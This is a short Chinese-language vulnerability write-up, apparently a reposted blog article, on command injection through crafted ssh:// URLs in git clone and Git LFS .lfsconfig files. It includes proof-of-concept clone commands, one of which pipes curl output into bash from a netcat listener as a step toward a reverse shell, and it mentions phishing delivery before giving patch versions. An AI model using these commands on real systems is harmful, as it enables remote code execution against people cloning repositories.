Git命令执行漏洞

Posted 时光不改

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Git命令执行漏洞相关的知识,希望对你有一定的参考价值。

Git命令造成的反弹shell

 

漏洞描述:

  Git LFS可以.lfsconfig使用LFS由存储库中的文件配置(部分),并且可以将Git LFS指向ssh://。

[lfs]
    url = ssh://-oProxyCommand= some-command

  当使用这样的.lfsconfig文件克隆存储库时,使用LFS插件的Git将尝试调用ssh以从主机获取LFS对象 -oProxyCommand=some-command。然而,SSH会将该主机名解释为一个-o选项,并随后尝试调用some-command以建立连接。

  这样的话,可以通过克隆存储库的Git LFS客户端的精心设计的存储库来执行任意命令。

 

  通过在新项目中导入存储库,ssh://可以在GitLab主机上执行URL服务器端代码执行。

 

利用方式:

  远程钓鱼,社工

  恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码。

 

漏洞证明:

   反弹计算器

git clone ssh://-oProxyCommand=gnome-calculator/wat

 

 

  进一步利用

 

  本机测试环境

  先建立监听

nc -vlp 9999

  利用git clone 获取镜像库

git clone ssh://-oProxyCommand=\'curl 127.0.0.1:9999 | bash\'/xx

命令被成功执行

 

 

建立连接之后,尝试执行反弹shell命令,同时监听新的端口,完成反弹shell。

 

 

 

漏洞修复建议(或缓解措施):

 

Git:升级到Git v2.14.1版本

Apache Subversion:升级到Subversion 1.8.19、Subversion 1.9.7版本

Mercurial:升级到Mercurial 4.3 and 4.2.3.版本

 

 

参考文章:

https://help.aliyun.com/knowledge_detail/57887.html

http://bobao.360.cn/news/detail/4260.html?spm=5176.7757887.2.2.IkQv67

以上是关于Git命令执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段——git命令操作一个完整流程

VSCode自定义代码片段15——git命令操作一个完整流程

VSCode自定义代码片段15——git命令操作一个完整流程

GitGit 分支管理 ( 克隆远程分支 | 克隆 master 分支 git clone | 查看远程分支 git branch -a | 克隆远程分支 git checkout -b )(代码片段

GitGit 分支管理 ( 克隆远程分支 | 克隆 master 分支 git clone | 查看远程分支 git branch -a | 克隆远程分支 git checkout -b )(代码片段

Git漏洞允许任意代码执行(CVE-2018-17456)复现